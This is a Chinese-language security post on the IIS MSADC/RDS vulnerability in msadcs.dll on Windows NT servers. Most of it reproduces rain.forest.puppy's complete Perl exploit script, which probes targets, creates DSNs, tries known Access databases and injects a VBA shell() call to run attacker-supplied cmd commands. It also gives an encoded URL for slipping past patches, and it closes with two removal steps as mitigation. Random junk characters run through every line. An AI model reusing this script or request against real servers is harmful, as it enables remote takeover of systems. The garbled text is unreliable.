IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
{H
3wL %xC}#RDf 涉及程序:
?` 2z8uD/ Microsoft NT server
!)`m mr hl,x|.f}4Y 描述:
`J;g~#/k 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
lEw!H^O4 |w>d]eA5 详细:
,5x9o"N! 如果你没有时间读详细内容的话,就删除:
yEVnG`
1
c:\Program Files\Common Files\System\Msadc\msadcs.dll
<4I`|D3@ 有关的安全问题就没有了。
E:P_CDSd] "a<:fEsSE 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
k7 Ne(4P 6hHMxS^o 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
^vI`#}? 关于利用ODBC远程漏洞的描述,请参看:
O1oh,~W t*-_MG http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Yv[<c!\
w4RtIDW: 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
r\q|DZ7 http://www.microsoft.com/security/bulletins/MS99-025faq.asp i1Y<[s w(Q{;RNM; 这里不再论述。
}RQHsS SOS|3q_` 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
3X9 G(1_P1 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
:GM3n$ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
`/(9#E {k']nI.> (Y"./BDY #将下面这段保存为txt文件,然后: "perl -x 文件名"
P R_|
8H| v5W-f0Jo #!perl
;Ji3|=4u #
>ffQ264g=i # MSADC/RDS 'usage' (aka exploit) script
T5_rPz #
_t6.9CXl # by rain.forest.puppy
mzf^`/NO #
+0:]KG!Zs. # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
c >xHaA:V # beta test and find errors!
uao#=]?) Qn/6gRLj use Socket; use Getopt::Std;
gi8f)MNP?~ getopts("e:vd:h:XR", \%args);
f;bfR&v 5+/XO>P1m| print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
:]8!G- Z A!a.,{fZ if (!defined $args{h} && !defined $args{R}) {
Xzqx8Kd print qq~
mC'<Ov<eJ Usage: msadc.pl -h <host> { -d <delay> -X -v }
|gfG\fL3V -h <host> = host you want to scan (ip or domain)
| 8akp -d <seconds> = delay between calls, default 1 second
Iz!]LW -X = dump Index Server path table, if available
g,f
AVM -v = verbose
fD2 N} -e = external dictionary file for step 5
Na+3aM%% Qgq VbJP" Or a -R will resume a command session
|sAl k,8s ZD4:'m`T/ ~; exit;}
sTxbh2 mwF{z.t" $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
RZ?abE8 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
=V:Al if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
]'0}fuV if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
<Q_E3lQy/ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
48.4GwL7 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
1CS\1[E i8=+<d if (!defined $args{R}){ $ret = &has_msadc;
<qBM+m$|) die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
xqv&^,ic #eKH'fE print "Please type the NT commandline you want to run (cmd /c assumed):\n"
"?'9\<> . "cmd /c ";
M|UCV_omN $in=<STDIN>; chomp $in;
IJLuu@kRm, $command="cmd /c " . $in ;
H4W!@"e <#)Q.P if (defined $args{R}) {&load; exit;}
g!`^!Q/($ c+
aTO" print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
$IJ"fs &try_btcustmr;
v
`;Hd8 yxi* 4R print "\nStep 2: Trying to make our own DSN...";
{ ^R>H|~ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Dt'bbX'edw t* =i8`8 print "\nStep 3: Trying known DSNs...";
L^Fb;sJYI &known_dsn;
Gf-GDy\{ *d-JAE print "\nStep 4: Trying known .mdbs...";
C-^8;xd &known_mdb;
r(g#3i4Q N^'(`"J s if (defined $args{e}){
xN!In-v[j; print "\nStep 5: Trying dictionary of DSN names...";
Xj<xen( &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
4@M`BH` JcC2Zn6 print "Sorry Charley...maybe next time?\n";
7MhaLkB_6 exit;
:,.HJ[Vg& jEL"Q?# ##############################################################################
3s#/d,+ :b,An'H sub sendraw { # ripped and modded from whisker
n/%M9osF sleep($delay); # it's a DoS on the server! At least on mine...
q<cxmo0S my ($pstr)=@_;
>oapw5~5 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
<Kk?BRxi die("Socket problems\n");
Xc<Hm if(connect(S,pack "SnA4x8",2,80,$target)){
hwSxdT6 select(S); $|=1;
?2K~']\S print $pstr; my @in=<S>;
l=<},_]{ select(STDOUT); close(S);
D4T(Dce return @in;
4
i`FSO } else { die("Can't connect...\n"); }}
}wC=p>zA Tz7|OV_W$ ##############################################################################
i4)]lWnd FaKZ|~Y
e sub make_header { # make the HTTP request
<'~6L#>,< my $msadc=<<EOT
"7w=LhzV[$ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
'T]Ok\ User-Agent: ACTIVEDATA
%<MI]D Host: $ip
;b 'L2 Content-Length: $clen
X*`b}^T Connection: Keep-Alive
M`?ATmYy eRg;)[#0>$ ADCClientVersion:01.06
>j&k: Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
R+9 hog k>:\4uI|<\ --!ADM!ROX!YOUR!WORLD!
&x/Z{ut Content-Type: application/x-varg
vtRz;~,Z Content-Length: $reqlen
zT'(I6S:) XLlJ|xhY-K EOT
P8 R^46 ; $msadc=~s/\n/\r\n/g;
Q$Q:Jm53 return $msadc;}
|A2o$H YOUX ##############################################################################
~oRT@E 5IbCE.>iU sub make_req { # make the RDS request
wif1|!aL my ($switch, $p1, $p2)=@_;
5.lg*vh my $req=""; my $t1, $t2, $query, $dsn;
?8q4texf[ VgS2_TU if ($switch==1){ # this is the btcustmr.mdb query
xiF}{25a $query="Select * from Customers where City=" . make_shell();
v3cLU7bi?2 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Lv
*USN $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
SGpe \P ]k K~~LJU3 elsif ($switch==2){ # this is general make table query
/pJr%}sc $query="create table AZZ (B int, C varchar(10))";
\+<=O` $dsn="$p1";}
UK.=Y9 }S}%4c> elsif ($switch==3){ # this is general exploit table query
0"iQHi $query="select * from AZZ where C=" . make_shell();
eH%i8a $dsn="$p1";}
c&"1Z/tR 9} ]C elsif ($switch==4){ # attempt to hork file info from index server
jgBJs^JgYG $query="select path from scope()";
n%6=w9.%c $dsn="Provider=MSIDXS;";}
\(U|& X|y0pH:S elsif ($switch==5){ # bad query
<SRo2rjRa $query="select";
@`aPr26>? $dsn="$p1";}
^CB@4$! PrF('PH7i $t1= make_unicode($query);
LftzW{>gI" $t2= make_unicode($dsn);
jK2gc^"t $req = "\x02\x00\x03\x00";
G_xql_QR $req.= "\x08\x00" . pack ("S1", length($t1));
H`7T;`Yb $req.= "\x00\x00" . $t1 ;
UFeQ%oRa8 $req.= "\x08\x00" . pack ("S1", length($t2));
}U**)" $req.= "\x00\x00" . $t2 ;
^j<2s"S $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
}p*WH$!~ return $req;}
)b,FE}YX hO(A_Bw ##############################################################################
ZC)m&V1 +>:[irf sub make_shell { # this makes the shell() statement
(lvp-<* return "'|shell(\"$command\")|'";}
_SQ]\Z Srrzj-9^)K ##############################################################################
tNxKpA |F .xtam 8@ sub make_unicode { # quick little function to convert to unicode
4!Lj\.!$ my ($in)=@_; my $out;
* K0aR! for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
2 y&k return $out;}
f5'vjWJ30 :* J! ##############################################################################
K\5/ ||gi hjp,v)# sub rdo_success { # checks for RDO return success (this is kludge)
-c%'f&P my (@in) = @_; my $base=content_start(@in);
cZAf?,>u if($in[$base]=~/multipart\/mixed/){
XKvH^Z4h{l return 1 if( $in[$base+10]=~/^\x09\x00/ );}
x'V:qv*O return 0;}
ePTxuCf> >vNE3S_ ##############################################################################
8[oZ>7LMzC !)FKF7' sub make_dsn { # this makes a DSN for us
m2Wi "X(I_ my @drives=("c","d","e","f");
J?f7!F:8 print "\nMaking DSN: ";
:v^Od W foreach $drive (@drives) {
`bZgw print "$drive: ";
^C;ULUn3 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
mEbj "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
GsIqUM#R . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
JY$;m3h $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
yRt7&,}zL return 0 if $2 eq "404"; # not found/doesn't exist
H)5" <=] if($2 eq "200") {
?F|F~A8dr foreach $line (@results) {
C%"aj^u return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Y\E7nll:. } return 0;}
~FnY'F<35 =@MJEo` D ##############################################################################
@[]#[7 %4Yq
(e sub verify_exists {
2FEi-m} my ($page)=@_;
:71St' my @results=sendraw("GET $page HTTP/1.0\n\n");
[f=Y*=u9, return $results[0];}
Uq.hCb`: BxesoB
##############################################################################
4 Z&KR<2Z seZb;0 sub try_btcustmr {
Lg|]|,%e my @drives=("c","d","e","f");
'v5q/l my @dirs=("winnt","winnt35","winnt351","win","windows");
B\+uRiD8w 18>v\Hi< foreach $dir (@dirs) {
;G*)7fi print "$dir -> "; # fun status so you can see progress
]qiX"<s>~C foreach $drive (@drives) {
`{Fz print "$drive: "; # ditto
(dHjf; $reqlen=length( make_req(1,$drive,$dir) ) - 28;
0+KSD{ $reqlenlen=length( "$reqlen" );
2Vxx $clen= 206 + $reqlenlen + $reqlen;
c;88Wb<|W )<.y{_QUN my @results=sendraw(make_header() . make_req(1,$drive,$dir));
'-P+|bZW4 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
,Eo\(j2F. else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
(SByN7[gb dyl1~'K^ ##############################################################################
n39EKH rm% /b410NP5 sub odbc_error {
1+qP7 3a^ my (@in)=@_; my $base;
t<e3EW@>> my $base = content_start(@in);
&@'+h*
b if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
@GF3g= $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]6,D9^{; $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3]kN9n{ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
>C`#4e?} return $in[$base+4].$in[$base+5].$in[$base+6];}
bl#6B.*= print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
%Hu.FS5' print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
rv2;)3/* $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
v(P <_}G m1M6N`f ##############################################################################
6+:;Mb_S 593!;2/@ sub verbose {
,Uy;jk my ($in)=@_;
rnBp2'EM return if !$verbose;
3Qu-X\ print STDOUT "\n$in\n";}
T[2<_ nn= sk@aOv'*( ##############################################################################
T75N0/teS `)TgGny01 sub save {
$}=r45e0K my ($p1, $p2, $p3, $p4)=@_;
C2yJ Xi`$ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
^,`
L!3 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
c-4z8T#M^ close OUT;}
q&^H"
fF W?n/>DML ##############################################################################
M*aYcIU(( NosOd*S sub load {
#p-\Y7f my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
*pyC<4W open(IN,"<rds.save") || die("Couldn't open rds.save\n");
?5wsgP^ @p=<IN>; close(IN);
JX`>N(K4\ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
BJ{?S{"6%G $target= inet_aton($ip) || die("inet_aton problems");
*?+2%zP print "Resuming to $ip ...";
N:,V{Pw $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
3A\Z]L if($p[1]==1) {
UI*&@!%bzp $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
(iht
LFp $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
..=lM:13| my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
1G'pT$5& if (rdo_success(@results)){print "Success!\n";}
co'qVsOiH else { print "failed\n"; verbose(odbc_error(@results));}}
"e/"$z'ca elsif ($p[1]==3){
=`l>< if(run_query("$p[3]")){
"+hUt print "Success!\n";} else { print "failed\n"; }}
ovaX_d)cU elsif ($p[1]==4){
7H4kj7UK if(run_query($drvst . "$p[3]")){
3;R`_#t+ print "Success!\n"; } else { print "failed\n"; }}
D!i|KI/ exit;}
$paE6X^ +^*b]"[ ##############################################################################
m3XT8F*& (Z8wMy&: sub create_table {
V(Oi!(H;v my ($in)=@_;
S(0JBGC $reqlen=length( make_req(2,$in,"") ) - 28;
S`vw<u4t $reqlenlen=length( "$reqlen" );
He&A>bA)z $clen= 206 + $reqlenlen + $reqlen;
#hXuGBZEI my @results=sendraw(make_header() . make_req(2,$in,""));
.ZM0cwF return 1 if rdo_success(@results);
bG+Gg*0p my $temp= odbc_error(@results); verbose($temp);
IEWl
I return 1 if $temp=~/Table 'AZZ' already exists/;
LYTnMrM return 0;}
}TDq7-(g zR?1iV.] ##############################################################################
qipS`:TER {vur9L sub known_dsn {
rym*W\AWx # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
#r]GnC, my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
C}\kp0mz "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
!>Q{co' "banner", "banners", "ads", "ADCDemo", "ADCTest");
D2zqDo<+; `0-i>> foreach $dSn (@dsns) {
jRxzZt4 print ".";
jJ?G7Q5l next if (!is_access("DSN=$dSn"));
u3sr"w& if(create_table("DSN=$dSn")){
|V^f}5gd print "$dSn successful\n";
K]&GSro if(run_query("DSN=$dSn")){
`R*!GHro print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
jEK{47i v print "Something's borked. Use verbose next time\n";}}} print "\n";}
id]}10 FV%|*JW[;N ##############################################################################
<f0yh"?6VH Z 2lX^z sub is_access {
]Nue1xV_ my ($in)=@_;
i'}"5O+ $reqlen=length( make_req(5,$in,"") ) - 28;
N5b&tJbM0 $reqlenlen=length( "$reqlen" );
N8X)/W $clen= 206 + $reqlenlen + $reqlen;
n% s$!R-\ my @results=sendraw(make_header() . make_req(5,$in,""));
2(R{3E4. my $temp= odbc_error(@results);
\3)U~[O>: verbose($temp); return 1 if ($temp=~/Microsoft Access/);
<iM}p^jX9 return 0;}
T%**:@}+ $=Tq<W*c ##############################################################################
8qT^=K
$ <g, 21(bc sub run_query {
51'V[tI;8 my ($in)=@_;
LtNspFoLb $reqlen=length( make_req(3,$in,"") ) - 28;
SA
[(1dy; $reqlenlen=length( "$reqlen" );
vb`: $clen= 206 + $reqlenlen + $reqlen;
/}s# my @results=sendraw(make_header() . make_req(3,$in,""));
$[b1_Db return 1 if rdo_success(@results);
dCzS f4: my $temp= odbc_error(@results); verbose($temp);
D?"Q)kVuD return 0;}
uFaT~ 4 2gnz= ##############################################################################
Vb?_RE_H 0p'g+ 2 sub known_mdb {
B*fBb.Z my @drives=("c","d","e","f","g");
wL&[Vi_j{ my @dirs=("winnt","winnt35","winnt351","win","windows");
:BblH0' my $dir, $drive, $mdb;
M$3/jl*#} my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
c43&[xPLz /1r{z1pv\ # this is sparse, because I don't know of many
l
Ng)k1 my @sysmdbs=( "\\catroot\\icatalog.mdb",
iF1zLI<A "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
RMAbu*D0 "\\system32\\certmdb.mdb",
)(yKm/50 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
z@2nre w^S]HzMd my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
yRz l} "\\cfusion\\cfapps\\forums\\forums_.mdb",
I2?g'tz "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
DhG{hQ[[ "\\cfusion\\cfapps\\security\\realm_.mdb",
@>[3[; "\\cfusion\\cfapps\\security\\data\\realm.mdb",
UQjZhH "\\cfusion\\database\\cfexamples.mdb",
RI]x= "\\cfusion\\database\\cfsnippets.mdb",
$EZr@n "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
h5[.G! "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
^_o:Ddz?l" "\\cfusion\\brighttiger\\database\\cleam.mdb",
= Ruq "\\cfusion\\database\\smpolicy.mdb",
!1P<A1K "\\cfusion\\database\cypress.mdb",
t0)hdX "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
mm N$\2 "\\website\\cgi-win\\dbsample.mdb",
bbWW|PtWwP "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
W}k)5<C4v "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
1["IT.,f. ); #these are just
'he&h4fm foreach $drive (@drives) {
x!UGLL]_M foreach $dir (@dirs){
?)4c!3# foreach $mdb (@sysmdbs) {
Q>\9/DjUp print ".";
0|?DA12Z if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
QW&@>i print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
{;hRFQ^b if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
N ^H
H&~V print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
x%RE3J- } else { print "Something's borked. Use verbose next time\n"; }}}}}
u6*mHkM b>|d Q foreach $drive (@drives) {
Na`vw foreach $mdb (@mdbs) {
|l,0bkY@& print ".";
$HV`bJ5!L* if(create_table($drv . $drive . $dir . $mdb)){
a6g+"EcH#' print "\n" . $drive . $dir . $mdb . " successful\n";
(M%ZSF V if(run_query($drv . $drive . $dir . $mdb)){
+VHoYEW print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
`~LaiN. } else { print "Something's borked. Use verbose next time\n"; }}}}
}k6gO0z }
58Z,(4:E _i0,?U2C ##############################################################################
s?&UFyYb, G3t\2E9S sub hork_idx {
`R:HMO[ow print "\nAttempting to dump Index Server tables...\n";
9Oc(Gl5az print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
5Veybchy " $reqlen=length( make_req(4,"","") ) - 28;
=UFmN" $reqlenlen=length( "$reqlen" );
QkY;O<Y_ $clen= 206 + $reqlenlen + $reqlen;
BEii:05 my @results=sendraw2(make_header() . make_req(4,"",""));
!:|D[1m if (rdo_success(@results)){
PJ'@! jx my $max=@results; my $c; my %d;
0,m@BsK for($c=19; $c<$max; $c++){
AkBEE $results[$c]=~s/\x00//g;
m# I $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
|A:+[35 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
"@&I*1& $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
YGkk"gFIA $d{"$1$2"}="";}
~)!vhdBe foreach $c (keys %d){ print "$c\n"; }
9jrlB0 } else {print "Index server doesn't seem to be installed.\n"; }}
IaRq6=[ 50`<[w<J
q ##############################################################################
FdmoR; )>WSuf
j sub dsn_dict {
%<'PSri open(IN, "<$args{e}") || die("Can't open external dictionary\n");
N x/_+JWje while(<IN>){
]a\HgFp@ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
!*=+E%7 next if (!is_access("DSN=$dSn"));
1.q
a//'RW if(create_table("DSN=$dSn")){
%;YERO! print "$dSn successful\n";
@4j!M1}4 if(run_query("DSN=$dSn")){
ziD+% - print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
k0-,qM#p;X print "Something's borked. Use verbose next time\n";}}}
hkR Jqta) print "\n"; close(IN);}
H,U qU3b3 sTFRu ##############################################################################
`xu/|})KI 08;t%[R sub sendraw2 { # ripped and modded from whisker
i^6g1"h sleep($delay); # it's a DoS on the server! At least on mine...
3AarRQWsn my ($pstr)=@_;
1EA} [x socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
m-}6DN die("Socket problems\n");
I i J%.U if(connect(S,pack "SnA4x8",2,80,$target)){
c"CF&vTp print "Connected. Getting data";
$4]"g}_ open(OUT,">raw.out"); my @in;
*qL"&h5W select(S); $|=1; print $pstr;
w_^g-P[o- while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Ck^jgB.7 close(OUT); select(STDOUT); close(S); return @in;
~er4w+" } else { die("Can't connect...\n"); }}
OwG:+T_ (Qz|
N ##############################################################################
8nHFNOv6 9y5nG sub content_start { # this will take in the server headers
>tVD[wVF0 my (@in)=@_; my $c;
-nC!kpo for ($c=1;$c<500;$c++) {
-$5nqaK? if($in[$c] =~/^\x0d\x0a/){
? Glkhf7( if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Lw #vHNf6 else { return $c+1; }}}
aG/L'weR return -1;} # it should never get here actually
aT%6d@g bY7~b/ ##############################################################################
^1w*$5YI K@+(6\6I sub funky {
rJ_fg$.< my (@in)=@_; my $error=odbc_error(@in);
'5m`[S-IU if($error=~/ADO could not find the specified provider/){
'Lv>!s 7 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
"r.eN_d exit;}
:TN^}RML if($error=~/A Handler is required/){
p+d?k"WN? print "\nServer has custom handler filters (they most likely are patched)\n";
k6W
[// exit;}
ys$X!Ep if($error=~/specified Handler has denied Access/){
F5;x>;r print "\nServer has custom handler filters (they most likely are patched)\n";
<ooRpn exit;}}
*[[TDduh& <)$b=z ##############################################################################
!Typ_Cs vaUUesytt sub has_msadc {
LzJNQd' my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
5$p7y: my $base=content_start(@results);
]NgEN return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
G/5]0]SO return 0;}
{pW(@4U / qo`vk A ########################
ITu5Y"x G u P1 60&4?<lR4 解决方案:
ImVHX~qHJ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
)rFcfS+/ 2、移除web 目录: /msadc